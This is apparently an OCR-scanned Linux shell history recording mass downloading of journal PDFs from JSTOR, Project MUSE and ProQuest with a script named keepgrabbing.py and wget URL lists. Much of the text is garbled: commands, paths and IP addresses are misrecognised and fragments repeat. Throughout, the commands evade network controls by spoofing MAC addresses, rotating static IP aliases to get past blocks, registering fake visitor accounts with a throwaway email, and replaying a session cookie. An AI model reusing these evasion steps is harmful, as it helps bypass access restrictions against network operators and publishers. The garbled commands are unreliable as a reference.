sudo ez-ipupdate - ethQ

more /et¢/ez-ipupdate/default.conf

ez-ipupdate --haip]less

sudo ez-ipupdate -¢ fetc/ez-Ipupdate/default.conf
sudo ez-ipupdate -vwv -¢ fetc/ez-ipupdate/default.conf
ez-ipupdate -help|less

sudo ez-ipupdate -vwv -¢ /etc/ez-lpupdate/defautt.conf - ethd
sudo ez-ipupdate < /etc/ez-ipupdate/default.conf -i eth0
dig ®nst.dyndns.org ghost-laptop.dyndns-free.com
15 /mnt/we -l

cd fmnt

is

ps ax | grep touch

ps ax | grep seq

touch 1

Is

touch 2

seq 120

seq 120 | xargs touch

Is | we-l

seq 1 2000000 | xargs touch

Is | we-

Is | fess

Is | we-l

psax | grep bash

w

who am i

kil 3658

kifl -9 3658

mkdir pdfs

cd pdfs

~/keepgrabbing.py

emacs /home/ghost/keepgrabbing.py

zile fhome/ghost/keepgrabbing.py
~/xeepgrabbing.py

touch foo

rm foo

¢d ..

~fkeepgrabbing.py

cd /mnt

Is

tm*

Is

IRIFI
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cd pdfs

Is

ed

Is

python serveblocks.py
pythan serveblocks.py 8092
bg

fg

ps ax | grep serve

kil 2461

ps ax | grep serve
python serveblocks.py 8092
bg

1s /mnt

1s /mnt/pdfs

1s 4 /mnt/pdfs/

cd
gnome-screensaver-command --activate
Is

ps ax | grep curl

kilt 19047

curl www.jstor.org
dhcilent --help

sudo dhcllent
bwm-ag

1s biocks/ jwe -

df-h

finks www.jstor.org/stable/873098
bwm-ng
gnome—screensaver-command --activate
Is biocks/ jwe -l
hwm-ng

1s blocks/{we -
uptime

bwm-ng

df-b

is blocks | we -
bwm-ng

sudo umount /mnt

df

screen -x
~/keepgrabblng.py

¢d /mntf
~/xeepgrabbing.py

fg .

¢d /mnt/
~{keepgrabbing.oy

cd /mnt/
~/keepgrabbing.py

0

cd /mnt/
~/keepgrabbing.py

IRIFI
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A
’
o var

iing.py
fkeepgrabliing
bg; ~

g /m;;{abbing.py
~fkee
bg

o Y
3'

iy /m;;iabbing. pY
~[kee ”
bgk epgrabbing.p
X ing.py
t’Bkeepgrabbnu;
” -pY
bgke¢epgrabhing
~ / .pv
bgkeepgrabhfng
! -P¥
b?keepgrabbing
: ing.py
b?keepgtabbmg
~ "
b?keepgrabblng
S?ke pgrabbing.py
~/kee ”
bskeepgrabblng
N/. t | y
5 /me;grabbtng p
~/ke
I abbing.py
b?keepsr
bg .
D pgrabbing.p
“fkee ;
bskeepgrabblng
;2 bbing.py
~fkeepgra v
.p
s rabbing
~/keepg ’
bgk epgrabbing.
5 -pY
bgke.'epgrabblng
~ / "
b?keepgrabbmg
: -pY
e eepgrabbing
:ék/mn;/mbbfng.py
~{keep
Ny /m:;/rabblng.py
e
:t,i'k/;nt/
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~/keepgrabbing.py
cd /mnt/
~fheepgrabbing.py
cd /ront/
~/keepgrabbing.pvy
cd /mnt/
~/keepgrabhing.py
¢d /mnt/
~/keepgrabbing.py
~fkeepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~{keepgrabbing.py
cd /rant/
~/keepgrabbing.py
cd fmnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~fkeepgrabbing.py
cd Jmnt/
~/keepgrabbing.py
od /mnt/
~fkeepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd font/

~/k
~/eepgrabbing.py
cd /mnt
~fkeepgrabbing.py
¢d /mnt
~freepgrabbing.py
cd fmat/
~freepgrabbing.py
~/keapgrabbing.py
cd fmt

od fmntf

cd /mt
~/keepgrabbing.py
~[keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
~fkeepgrabbing.py
cd /mnt/
~/keepgrabbing py




~/keepgrabbing.py

cd /mnt/

~/keepgrabhing.py
~/keepgrabbing.py

cd /mnt/

~fkeepgrabbing.py
~/keepgrabbing.py

od /mnt/

~/keapgrabbing.py
~fkeepgrabbing.py

cd /mat/

~/keepgrabbing.py
~/keepgrabbing.py

cd /mnt/

~fkeepgrabbing.py

cd /mnt

~fkeepgrabbing.py

screen -f

screen -x

uptime

df -h

screen -f

screen X

e

uptime

bwm-ng

df -h

screen -x

ps ax | grep curl

ps ax | grep keepgr | awk ‘{print $1)' | xargs kill
ps ax | grep cur

ps ax | grep gr

ps ax | grep curl

df -h

/sbinfifconfig -a

sudo ifconfig eth0:1 static 18.55.7.49
curl —interface eth0:1 www.jstor.org
cur) --interface eth0:1 www.google.org
rsync -avz pdfs/ ghost-macbook.dyndns-free.com:/val/pdfs
screen -r

screen x

python

sudo easy_lnstall pyoai

sudo apt-get install python-Ixmit
sudo aasy_install pyoal

python

sudo easy_install --remove pyoal
easy_lnstall —help

easy_install --help|less

sudo easy_install ~remove pyoal
python

suda easy_install pyoal

[r ]
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¢d /ust/local/lib/python2.6/

Is

Is slte-packages/

cd

Is

locate easy-install.pth

locate aasy_install.pth

sudo easy_Install pyoal

focate easy-Install.pth

cd Justflib/python

Is

Is -3

cd ../python2.6

is

easy_lnstall --help

easy_install --heip|iess

python serveblocks.py

python serveblocks.py 8092

bg

sudo dhclient -1

sudo dhclient

sudo dhctient -r

sudo dhclient

sudo dhcilent -r

sudo dhclient

ping 4.2.2.2

sudo dhclient ¢

sudo dhclient

sudo dhclient -¢

sudo dhclient

sudo dhclient -r

sleep 60

sudo dhclient -1

sudo dhcllent

cd /volf

is -}

Is -th pdfs

easy_Install pyoai

sudo apt-get install python-setuptools
sudo apt-get update

sudo apt-get instail python-setuptools
sudo apt-get upgrade

ez-ipupdate

sudo fete/init.d/ez-Ipupdate restart
ping ghost-laptop.dyndns-free.com
Jsbin/ifconfig eth0

ping 18.55.7.237

ping ghost-laptop.dyndns-free.com
sudo fetc/init.d/ez-ipupdate restart
ping 18.55.7.237

ping ghost-laptop.dyndns-free com
sudo /etc/Init.d/ez-ipupdate help
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sudo /etc/init.d/ez-ipupdate force-reload
ping ghost-laptop.dyndns-free.com
more /etc/init.d/ex-lpupdate

more fetc/ez-lpupdate/defauit.conf
sudo less fetc/ez-ipupdate/dafault.conf
ps ax | grep ez-ip

ping ghost-laptop.dyndns-free.com

cd /voifpdfs/

is

Is { less

python oaigrab.py

python -i calgrab.py

cd /vol/

Is

cd muse.jhu.edu/

is

cd content/oaf/journals/

Is

cd soclal_text/

Is

cd v017/

is

more 17.3

more 17.3dutton.htmi

man wget

du -hsc fvolf*

du -hsc /vol/*

bwmeng

is -th urlstograb.wget

grep pdf uristograb.wget

scraen -x

man wget

cd Jvolf

Is

wget -x -nc ~furlstograb.wget

wget -x «nc 4 ~/uristograb.wget

sudo chown ghost .

wget -« -n¢ - ~/urlstograb.wget

wget -q x -0¢ -t ~/urlstograb.wget
wget -nv -x -n¢ - “furistograb.wget

; screen -x

4 emacs oaigrab.py

sudo apt-get install emacs23-nox
emacs oaigrab.py

python oaigrab.py | tee uristograb.wget
wc -l urlstograb.wget

grep htmt uristograb.wget | sed -e 's/btmi/pdf/' > urlstograb2.wget
grap pdf urlstograb.wget | sed -e 's/pdf/html/ > uristograb2.wget
more uristograb

more urlstograb2, wget

cd Jvolf

wget -nv -X -n¢ -i ~furlstograb2.wget
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grep htmi uristograb.wget | sed -e 's/htmi/pdf/* >> uristograb2.wget
cd

grep htrit urlstograb.wget | sed -& 's/htmi/pdf/* >> urlstograb2.wget
cd fvol

wget -nv -x -nc -i ~furistograb2. wget

curl muse jhu.edu/f

links muse.Jhu.edu

screen <x

cd /media/noname/

Is

¢p tograb.log /home/ghost/

ced

cd

¢d bfocks/

Is | wel

cd .,

Is

mv tograb.log blocks/

cd blocks/

more tograb.log

split -n 100 tograb.log

split --help

split --help |less

split -1 100 tograb.log tograb.

Is

rm tograb.*

¢p /media/noname/tograb.log tograb-

spiit --help|less

split -a § -1 100 tograb.log tograb-

is tograb *

we -1

Is j we-t

mv tograb.log ..

sudo dhclient --release

sydo dhclient -r

sudo dhclient

sudo dhclient -r

sudo dhclient

sudo fetc/init.dfez-lpupdate restart

ping ghost-laptop.dyndns-free.com

fsbinfifconflg -a | less

ping ghost-laptop.dyndns-free.com

screan -x

sudo ifconfig eth0 up ,

curl --Interface ethO https://nic.mitedu: bin/dynaregiclass=v
/sbin/ifconflg -a

sudo dhclient

curl ~-Interface ethO https://nic mit.edu:444/bin/dynareg?class=visitor
cat logininfo

cur! --interface ethO s://10.72.0.47:444/bin/dypar ass=visitor

curl --interface eth0 10.72.0.47
) [r 1F |
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ping -1 eth0 10.72.0.47

Jshin/ifconfig -2

ping -l eth0 4.2.2.2

man plng

ping 410.2.55.1204.2.22

sudo ping -110.2.55.1204.2.2.2

/sbinfifcotig ~a | less

sudo ping -1 10.2.55.1204.2.2.2

sudo ping -l wianD 4.2.2,2

sudo ping -1 eth0 4.2.2.2

ping -1 eth0 4.2.2.2

sudo ping -i eth0 4.

sudo ping -t ethQ 10.72.0.47

sudo curl —-interface eth0 10.72.0.47

man cur

sudo curt ~Interface 10.2.55.120 10.72.0.47

route

/sbinfifconfig -a

route add default gw 18.2.55.1

sudo route add default gw 18.2.55.1

sudo ping - eth0 10.72.0.47

echo "sudao route add default gw 18.2.55.1" >> logininfa

sudo curl ~interface 10.2.55.120 10.72.0.47

curl —interface ethd 10.72.0.47

cunl —~intarface ethO hitps://10.72.0.47:444/bin/dynaregr?class=visitor

curl -k ~-interface ethQ https://10.72.0.47:444/hin/dynareg?class=visitor

curl -d “class=visitor” -k ~interface eth0 hitps.//10.72.0.47:444/bin/dynareg
curl -d "class=visitor&action=Register’ -k interface ethO hlips://10.72.0.47:444/bin/dynareg
curl -d "vname=Grace+Host&vemail=ghostd2 @mailinator.com&action=Register&class=visitar" -k —~interface ethQ
https;//10. :444/bin/dynace;

echo ‘curl -d “vname=Grace+Host&yemail=gho linator.com&action=Reglster&class=yisitor” -k --interface eth0
https://10.72.0.47:444/bin/dvnareg' >> logininfo
curl --interface ethD 10.72.0.47

sudo dhclient eth0

sleep 600; sudo dhclient eth0

route

curl ~interface wian0 www.yahoo.com

cud —~interface wian0 4.2.2.2

sleep 600; sudo dhclient eth0

sudo dhclient ethQ

sudo ping -| eth0 10.72.0.47

sudo ping -{ wian0 4.2.2.2

sudo ping -1 eth0 4.2,2.2

man route

dnsip

dig www.yahoo.com

dig www.yahoo.com jgrep "IN"

dig www.yahoo.com|grep "IN" | grep 10.72
echo 'dig www.yahoo.com|grep "IN" | grep 10.72' > logininfo
fsbin/ifconfig -8

/sbinfifconfig -ajgrep en

sudo ifconfig eth( hw 00:4c:e5:30:¢7:56
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sudo lfconfig ethQ hw ether 00:4¢:e5:20:c7:56
sudo fdown ethD
sudo ifconfig eth0 hw ether 00:4¢:e5:0:¢7:56
sudo ifconfig eth@ down
sudo ifconflg ethO hw ether 00:4c:e5:a0:c7:56
sudo ifconfig ethO up
emacs logininfo
ping www.yahoo.com
dig yahoo.com
“sudo dheltant
dig www.yahoo.com
emacs logininfo
emacs Jetc/ez-ipupdate/default.conf
/sbin/ifconfig -a
sudo emacs /etc/ez-ipupdate/default.conf
fetc/init.dfez-ipupdate restart
sudo Jetcfinit.d/ez-ipupdate restart
dig
dig x.dynduns-free.com
dig ns x.dyndns-free.com
cat fetc/resotv.c
cat Jetc/resolv.conf
dig www.yahoo.cvom
dig www.yahoo.com
tinks —help
links --help|grep inerf
links --help |grep interf
lyax
curt ~intarface eth0 www.yahoo.com
dig @10.2.55.7 www.yahoo.com
dig @10.2,55.2 www.yahoo.com
sudo dhclient
cat fete/resotv.conf
sudo dhclient
cat /etc/resolv.conf
ping 10.72.0.47
dig @10.72.0.47 www.google.com
gnome-screensaver-
df
ping www.yahoo.com
echo 10.72.0.47>> logininfo
dig --help
bost --help
dig ns x.dyndns-free.com
dig ®@nsl.dyndns.org ghost-laptop.dyndns-free.org
dig @ns1.dyndns.org ghost-laptop.dyndns-free.com
/sbin/ifconfig -a
ssh ghast-laptop.dyndns-free.omg
ssh ghost-faptop.dyndns-frae.com
ssh .-help | grep Interf
man ssh
sudo ifconfig eth0 down
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ssh ghost-Japtop.dyndns-free.com

sudo curl ~interface eth0 10.72.0.47
route

ssh ghost-taptop.dyndns-free.com

ping www.yahoo.com

/sbinfifconfig -a

ssh 10.189.76.179

sudo dhclient ehtQ

sudo dhclient eth®

route

man route

route

sudo dhelient eth0

sudo route del default

sudo route -net 10.0.0,0 gw 10.189.64.1
sudo route add -net 10.0.0.0 gw 10.189.64.1
sudo route add 10.0.0.0 gw 10.189.64.1
route

ping 10.189.76.179

ping 10.72.0.47

sudo dhclient eth0

/sbinfifconfig -a

ping google.com

route

ping 4.2.2.2

sudo dhclient eth0

cat logininfo

curl -d "vname=Grace +Host&yvemall=ghosta2@mailinator.com&vsponsor=&ylnterval=1a"

curl -d "vname=Grace +Host8vemail=ghost42@mailinator.com&vsponsor=8vintervai=14" -k ~intertace &th0

bitns://10.72.0.47:444/bin/dynareg

echo ‘curl -d "vname:Grace+Host&vgmail=gbgsgdz@mgiliuamr.cam&\gp_gng[:&vlntewaI=J, " _k —-interface eth®

hitps://10.72.0.47:444/bin/dvnareg’ >> loglninfo

curl www.yahoo.com

echo ‘cur! -d "vname=Grace+Host&yemall=ghost42@mailinator com&vsponsor=&vinterval=14" -k —interface ethQ

httns://10.72.0.47:444/bin/dynareg’ >> togininfo

curl -d "vname=Grace+Host&vgmai|=ghgs§42@malllpator,cgm&ygggggr:&vigtewal:lv -k --interface ethQ

.72.0.47: in/dynare,

curt -d "vname=Grace+Host&vemail=ghost42 @maitinator com&vsponsor=8wvinterval=5" -« ~interface ethQ

https://10.72.0,47:444/bin/dynareg
sudo dhclient ethQ

sudo dhclient -r

sudo dhctient -r eth0

sudo dhclient ethQ

/sbinfifconfig -a > ifconfiglog
Jsbin/ifconfig -a

sudo ifconfig wlanD down

sudg ifconfig wian0 hw ether 90:4c:e5:30:¢7:56
sudo Ifconfig wian0 up
/sbin/ifconfig -a
Jetc/init.d/ez-ipupdate restart

sudo fetcfinit.d/ez-ipupdate restart
dig ghost-laptop dyndns-free.com
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ping 4.2.2.2

suda dhcilent

ping4.2.2.2

ping www.yahoo.com

route

curt www.yahoo.com

ssh ghost-laptop.dyndns-free.com
Jsbin/ifconfig -a

ssh 18.111.48.33

curl www.yahoo.com

sudo dhciient ethO

cd /media/bceB20ea-a03b-4556-bfa6-eff2d9eh665e/
Is

Is | grep ajp

Is | grep -v oxford

cd Jval

Is

<d www.genome.org/content/1/3/

is

cd /media/bce820ea-a03h-4556-bfa6-eff2d9eb665e/

mare pdfs/2520824.pdf

more pdfs/25208234.pof

Is -1 pdfs/25208234.pdt

Is -Ut pdfs | head

python

ps ax | grep pyth

psax | grepls

sudo kil 8185

sudo kill -9 8185

fg

cd bl

cd blocks/

Is

cd donef

Is | less

is | head

more allpd00000009

more alipd000000009

more atlpd000000000S

Is -| /media/bceB20ea-a03b-4556-bfa6-eff2d9eb665e/pdfs/20273145.pdf
Is | vail

more tograb-aaggu

mare /media/beeB820ea-a03b-4556-bfa6-eff2d9eb665¢/ pdfs/359815.pdf
Is | /media/bce820ea-a03b-4556-bfab-eff2d9eb665e/pdfs/3 59815.pdf
Is | less

is } grep -vpd | less

Is | grep blk | tall

more blk0000003629

more fmediafbce820ea-a03b-4556-bfab-eff2d9eb665e/399479
more /media/bceB20ea-a03b-4556-bfaG-eff2d9eb665e/399479 . pdf

more /media/bce820ea -a03b-4556-bfa6-eff2d%eb665e/3999479. pdf [ R
15
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more /media/bce820ea-a03b-4556-bfat-eff2d9eb665e/pdfs/3999479.pdf
more /media/bce820¢a-a03b-4556-bfab-eff2d9eb665a/pdfs/3999478 pdf
cd

python

In -s /media/bce820ea-303b-4556-bfa6-eff2d9eb665e/ /media/drive
sugo In -s /medla/bce820¢3-a03b-4556-hfa6-eff2d9eb665e/ /media/drive
fg

Is /media/drive/pdfs*

C

w

[shinfifconfig -a

ssh 10.189.61.53

/sbin/ifconfig -a

sudo fetc/init.d/ez-ipupdate restart

ssh 18.111.48.33

is

more falledandneedtograb

cat falledandneedtograb | sed -e 's/.pdf//* | sort -u { head
cat falledandneedtograb | sed -e 's/.pdf//" | sort -u > fallad-partial-clean
head falled-partial-clean > blocks/testfailed

/sbin/ifconfig -a

curl --Interface wlan0 www.yahoo.com

route

ping 18.111.31.1

we - falledandneedtograb

sudo apt-get install autossh

sudo apt-get update

man ssh

ps ax | grep dhalient

kill 7937

sudo kit 7937

sudo kil} 8001

sudo kill 8281

ps ax | grep dhclient

ps ax | grep netwo

ps ax | grep Netw

sudo kill 730

ps ax | grep Netw

ps anf

[etc/init.d/network-manager stop

suda /etc/init.d/network-manager stop

ps ax

ps ax | grep dhct

sudo kil 8839

ps ax

/sbin/ifconfig -a

sudo emacs /etc/ez-ipupdate/default.conf

sudo fetc/init.d/ez-lpupdate restart

dig ghost-laptop.dyndns-free.com

Is

screen -x

W
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iy

who am |

wc -l faited-clean
screen -x

|

Is

cat falledandneedtograb | sed -e 's/.pdf//’ | sort -u > fafled-partial-clean

wc - failedandneedtograb

cat falledandneedtograb | sed -e 's/.pdf//' | sort -u > failed-clean

rm faited-partial-clean
more failed-clean

cd blocks/done

Is | less

less blkQ000000020

we -1 bik000G000020

cd .

split —-help

split -a 5 -1 1000 failed-clean blocks/blkfail
df-h

creen -x

scréen X

who am

cd umi

python

¢d umi

grep 797854 *

grep 801899 *

Is

more 900.html

grep 1978750241 *
screen-r

screen -x

links

is

screen -x

fs blocks

Is

rm falledandneedtograb
rm failed-clean

python

Is

mv pdf2size.dbm pdf2size-js3.dbm
fg

more stifftograbx

sphit --help

split -a 5 - 100 stititograbx blocks/stillbik
Is blocks

fg

cd fmedia/drive/pdfs
more 3590725 .pdf
less 3697690.pdf

cd /medla/drive/pdfs
more 3590725.pdf
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less 3697690.pdf
links “http:/Aww.oejm.org.ezp-

pr/doiffull/10.1056/NEIMp0781902kevtyne2=tf_insecshadiikey=d016a4ha4548931d98c8c00031b0(51b7fe229d4&
finks "hito://www.nelm.org. ezp-pr/doi/full/10.1056/NEIMpO 78190"

links “httn://www.neim.org/dol/full/10.1056/NEIMp078190"

Is

Is umi/saneurl.py

links http://linkiaghub.elsevier.com/retrleve/pli/0833365789900110

links "htto://linkinghub.elsevier.com/retrieve/pi 99490006X"
more fyvol/umi/107685.htmi
links /vol/umi/107685.htmi

links /vol/umif107794.htmi
curl -1 http://linkinghub.elsevier.com/retrleve/pii/B9780750657457500224

curl -

“hitp://linkinghub elsevier com/retriev icleSeleciSingle?Rediract=hitp%3A%2F%2 Fwww . sclencedire V¥e2Fscien
ce3F oh%3DGatewaylRL¥626 origin%3Dinwardhub%26_urlversion ethod%30citationSearch%26 _piike
3DB9780750657457500224%26 version%3D1%26md5%305d0b1Sfec31acce36634151f12343903"

curl -f

"hite:/fwviw.sclencedirect.com/sclence? ob=GatewayURLE originzinwardhub& uriversion=4& method=citationSearc
h likey=89780750657457500224% version=1&md5=5d0b1Sfec3leccc36684151f1€949903"

cur! -t "http: sciancedirect.com/science? ob=ArnicleURL& udi=B8K8S-4RIMOTB-

8% user=501045& coverDate=01%2F09%2F20 rdoc=18& [mi=high& orlg=search& originzsearch& sort=d& doca
nchor=&view=c& acct=C000022659& version=1& urlVerslon=0& userid=501045&md5=0dd 4¢404198de532
a67c8la&searchiype=a"

ping www.jstor.org

curl www. jstor.org

Is

screen -x

df -h

screen -t

screen -X

cd /media/drwe/jslndex/

Is

rm*

Ils

s

ls

cd 1923

Is

more 00800.htmi

python

cd..

is

python

more 1923/06700.htm!

fg

is blocks

df -h

suda umount /media/bce820ea-a03b-4556-bfab-eff2d9eb65e/
ping4.2.2.2

/sbin/ifconfig -a

/sbin/ifconfig -afless
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~/bin/sls pdfs | head

Jsls pdfs | head

cd pdfs

/sls | xargs -1 mv {} fvol/pdls/
{sis . | xargs -1 mv (} /vol/pdfs/
Is

cd..

rmdir pdfs

more deleteandgrab

Is

Is -1

maore pdfs3.sis

tail pdfs3.sis

(s

more Js3.1sIR

less Js3.1sIR

Is -th js3.15IR

fg

Is

I5 -1h pdf2size-js4.dbm

wc - Js3isIR

python

split -a 5 4 100 30mblocks blocks/grp3Om
cd fvol/jsindex/

python

cd /media/dr

cd /media/drive/
~/keepgrabbing.py

g

more /media/drive/4478605.pdf
more /media/drive/pdfs/4478605.pdf
curl protect.theinfo.org

links protect.thelinfo.org

df

ps ax | grep part

ps ax

cd /media/

Is

mkdir drive2

sudo mkdir drive2

sudo mount /dev/sdf drive2
sudo mount -t reiserfs /dev/sdf drive2
sudo mount -t reiserfs /dev/sdfl drive2
df

df -h

cd drive2

Is

Is-3

mkdir pdfs

sudo mkdir pdfs

suda chown ghost pdfs
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cd fvol

Is -

cd .

ls -

tin vol

sudo rm vol

sudo In -5 /media/drive2 vol
screen T

screen X

ping www.google.com
/sbinfifconfig -a
/shin/ifcanfig -a|less
dhelleat

sudo dhclient

sudo ifdown eth0:1

ping www .google.com
/sbin/ifconfig -a
/sbin/config -a]less

ping 4.2.2.2

cat Jetc/resolv

cat Jetc/resolv.conf

ping 10.72.0.47\

ping 10.72.0.47
ping4.2.2.2

sudo ifconfig down eth(:1
sudo fconfig eth0:1 down
/sbinfifconfig -a|less
sleep 600 && bell

bg

dhclient

sudo dhclient

df -h

sudo umount /dev/sdf1
fg

df

ps ax | grep dhclie

sudo kill 31696
/sbin/ifconfig -a | less
screen -X
gnome-screensaver
gnome-screensaver-command --lock
gnome-lock-screen
gnome-screensaver-lock
xscreensaver - lock
gnome-screensaver-cammant! --lock
ghome-screensaver
screen <

df

cd /media/

Is

mount /dev/sdgl 3aab9fel1-9¢54-43b1-9374-72722d78d3e0/
sudo mount /dev/sdgt 3aab9fe1-9¢54-43b1-9374-72722d78d3e0/
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df

sudo mount /dev/sdh1 3aabSfe1-9c54-43h1-9374-72722478d3e0/
Is

[sbin/fifconflg -a

sudo ifconflg mac 91:4¢:¢5:a0:¢7:55

is

/sbinfifconfig -a > mac

sudo fconfig mac 91:4c¢:e5:a0:¢7:55

fg

sudo ifconfig eth® mac 91:4¢:e5:30:¢7:55
man ifconflg

sudo ifconflg eth0 hw ether 91:4c:e5:a0:¢7:58
Jsbinfifconfig -a |grep ether

[shin/ifcontig ethO

sudo ifconfig eth0 hw ether 00:4c:e5:a30:¢7:55
sudo ifdown eth0 '

sudo Ifconflg ethO hw ether 00:4c:e5:a0:¢7:55
sudo ifconfig ethO down

sudo ifconfig ethD hw ether 00:4c:e5:80:c7:55
sudo ifconfig ethO up

dhclient

sudo dh

sudo dhellent

sudo dhclient -r

cd /mnt/

Is

df

cd /medta/bceB820ea-a03b-4556-bfab-eff2d9eb66Se/
fs

Is-1/

tn -s /media/bre820ea-aD3b-4556-bfa6-eff2d9eh665e/ /vol
SUDO In -s /media/bce820ea-a03b-4556-bfaé-eff2d9eb665e/ /vol
sudo In -s /medla/bce820e3-303h-4556-bfas-eff2d9eb665e/ /vol
cd Jvot

Is

df

ifconfig

sudo dhcllent -r

suda dhclient

is

ed

Is

screen -r

Is btocks/|wc 4

screen

SCreen ~r

screen -x

we 4 urlstegrab.wget

df -h | media

df -h | grep media

we -] uristograb.wget

df -h | grep media
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grep -v oxford uristograb.wget jless
grep -v oxford urlstograb.wget |grep -v dukejo |grep-v genesdev | grep -v err |less )
grep -v oxford urlstograb.wget |grep -v dukejo |grep v genesdev | grep -verr | grep v cship | grep -v majou |less
grep -v oxford uristograb.wget |grep -v dukejo |grep -v genesdev | grep-v err | grep -v cship | grep -v fnajou jgrep -v
genome|less

grep « oxford uristograb.wget |grep v dukejo |grep -v genesdev | grep v err | grep -v cship | grep -v rnajou jgrep -v
genome|grep -vieammem|less
we - urls®

df -h | grep media

Is blocks/|we +

df -h | grep media

Is blocks/jwe -

df -h | grap medla

Is blocks/)we 4

df -h | grep madla

s

df

w

df -h § grep media

Is blocks/ jwe -1

df -h | grep media

ks blocks/|we -

Is blocks/jwe 4

df - | grep medla

Is blocks/ |wc -

df -h | grep media

is blocks/|we -4

df -h | grep media

is blocks/{we 4

Is /mat

Is /vol

df-h | grep media

Is blocks/|we +4

df -h | grep media

Is blocks/|we 4

df -h | grep media

Is blocks/jwe 4

af h

Is blocks/jwe -

df-h | grep media

Is blocks/|wc

df -h

df -h | grep media

Is blocks/}we -4

df -h | grep media

Is blocks/ jwe -1

df -h | greg media

ts blocks/}we

df-h | grep media

ts blocks/ fwe -1

df -h | grep media

15 blocks/we < ) IR ™ ]
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df -h | grep media

is blocks/ |we -i

df -h | grep media

1s blocks/[we -l

df -h | grep media

ping google.com

/sbinfiiconfig -3

/sbinfifconfig -a|iess

df

umount /medis/drive

cd /mediafdrive/

Is

df -h

Is

sudo umount fdev/sdel

sudo umount -f /dev/sdel

df

[sbin/ifconfig -a|less

df -h | grep drive2

Is blocks/|we -1

cd

s blocks/ jwe -

df -h | grep drive2

/sbin/ifconfig -2

{feonfig eth0:1 static 18.55.7.241
sydo ifconfig ethO:1 static 18.55.7.241
/sbinfifconfig -a

curl ~interface eth0:1 www.jstor.org
curt —-interface eth0 www.jstor.org
sudoa ifconfig etho:1 static 18.55.6.241
curl —interface eth0 www.jstor.org
curl ~interface eth0:1 www Jstor.org
sudo Hfconfig eth0:1 static 18.55.5.241
curl —-interface eth0:1 www.stor.org
sudo ifconfig eth0:1 static 18.55.4.241
curt --interface eth0:1 www.Jstor.osg
/sbin/ifconfig -a

sudo (fconfig eth0:1 static 18.54.4.241
curl ~interface ethd:1 www.jstor.org
sudo Ifconfig eth0:1 static 18.54.5.241
sudo ifconfig eth0:1 static 18.55.5.241
sudo ifconfig eth:1 up static 18,55.5.241
Is blocks/ [we -

ping 4.2.2.2

¢d vol

cd fvol

~fkeepgrabhing.py

fg

cd ..

Is vol

Is -i vol

rm vol
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sudo rm vol

sudo In -s /media/drive /vol
cd /vol
~/keepgrabbing.py

a

~/keepgrabbing.py

<d ..

¢d vol

~/keepgrabbing.py

cd

Is

mkdir tomove

cd tomove

mkdir pdfs
~/keepgrabbing.py

emacs ../keepgrabbing.py
~/keepgrabbing.py

sudo rm /vol

sudo In -5 /media/3aab9fel1-9¢54-43h1-9374-72722d78d3e0/ /vol

cd fvo)

~/keepgrabbing.py

fg

Is

cd ../vol

~/keepgrabbing.py

links www.|stor.org

dhclient

/sbinfifconfig -a

ifconfig up eth0:1 18,55.6.251

ifconfig —~help | less[a

ifconfig --help

Ifconfig eth0:1 up static 18.55.6.251
sudo ifconfig eth0:1 up static 18.55.6.251
sudo ifconfig eth0:1 up static 18.55.6.252
/sbin/ifconfig -a

plng —~help | less

ping -1 eth0:1 www.google.com
/stin/ifconfig -a

/sbin/ifconfig -ajless

suda ifconfig eth0:1 up static 18.55.6.241
/sbin/ifconfig -a

ping -1 eth0:1 www.google.com

ping -1 18.55.6.241 www.google.com

curi interface eth0:1 www.google.com
curt —interface eth0:1 www.)stor.org

curl --help | less

/sbin/ifcanfig -a

sudo ifconflg eth0:1 up static 18,55.6.252
curl --interface eth0:1 www.jstor.org
sudo Ifconfig eth0:1 up static 18.55.7.240
curt --Interface eth0:1 www jstor.org

curl ~interface eth0:1 www.jstor.org/x
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Is

emacs keepgrabbing.py
¢d tomove/pdfs/

Is | we-l

v * /vol/pdfs

Is

cd..

Is

mkdir umi

<d uml

curl =0 0.hml "proguest.umi.com/pydweb?RQT=305&SQ=PMID(66569)&PageSize=50"

curl -0 Q.htm! “proquest.umi.com/pqdweb?RQT::iOS&SQ:PMID(GGSGQ)&PageSize=50&cfc=1"

more 0.htmi

curt -t proquest.umi.com/pqdweb?RQT=305&5Q=PMID{66563)4PageSize=50
curd - "proguest.umt.com/pqdweb?RAT=305&5Q=PMID(66569)&PageSize=50"

curl -H "Cookie; JSESSIONID=fdzWwqzMRSha" -0 0.htmi

"proquest.umi.com/pgqdweb?RQT=305&5Q=PMID{66569)&FageSize=50"

mare O.htmi
curl -H "Cookie: JSESSIONID=T4zWwqzMRSha" -0 50.html

“proguest.umi.com/pgdweb?RQT= 305&SQ=PMID(66569)&PageSize=50&tirstindexa50"

diff -u 0,htmi SO.himi
macs curlcommands.py
emacs curicommands.py
python curclcommands.py
python curfcommands.py
more curlcommands.sh
rm curicommands.py
emacs curlcommands.py
python curlcommands.py
more curlcommands.sh
bash curlcommands.sh
more 1100

more 1100.htmi

lynx -dump 1100.htmi
{inks 1100.htm{

python

cat > saneurl.py

fg

Is /media

fg

mkdir /medla/drive/um)

fg

curl -1 hitp://proquest.umi.com/pqdweb
g

1s /media/drive/um]

more /medla/drive/2073772711.pdf
more /media/drive/umif2073772711.pdf
more /media/drlve/umif2073772711.htni
more /media/drive/umi/2073772711.pdf
fg

<d fvol

~fkeepgrabbing.py

LY

[4pe 2]




od..
cd vol

~{keepgrabbing.py
fe
“/keepgrabbing.py
od..

cd vol
Is

~fkeepgrabbing.py
Is

df -h
pwd

¢d..

od vol

~/keepgrabbing.py

od ../vol

Is

~/keepgrabbing.py

od /media

is

od 3aab9¢a1-9c54«43b1-9374~72722d78d3e0/

is

df-h

sudo shutdown now

od /media/de

cd /media/drivef

mkdir Jsindex

sudo mkdir fsindex

sudo chown ghost jsindex

cd jsindex

python

Is

fg

more 2010/0800,htm

¢d 1989

Is

od fvolf

Is

of jsindex/1289

Is

Is- ] less

Is - | tall

cd ..f1990

is-{ less

python

python Jusr/bin/easy_instafl

sudo easy_install ~install-dir /usr/lib/python2.6/ pyoal
PYTHONPATH=/usr/lib/python2.6 sudo easy_install ~install-dir Just/lib/python2.6/ pyoal
sudo easy, Install --install-dir /ust/lib/python2 6/site-packeges/ pyoai
sudo PYTHONPATH=/usr/lib/python2.6/slte-packages easy_install --instali-dir /ust/lib/python2.6/site-packages/ pyoai

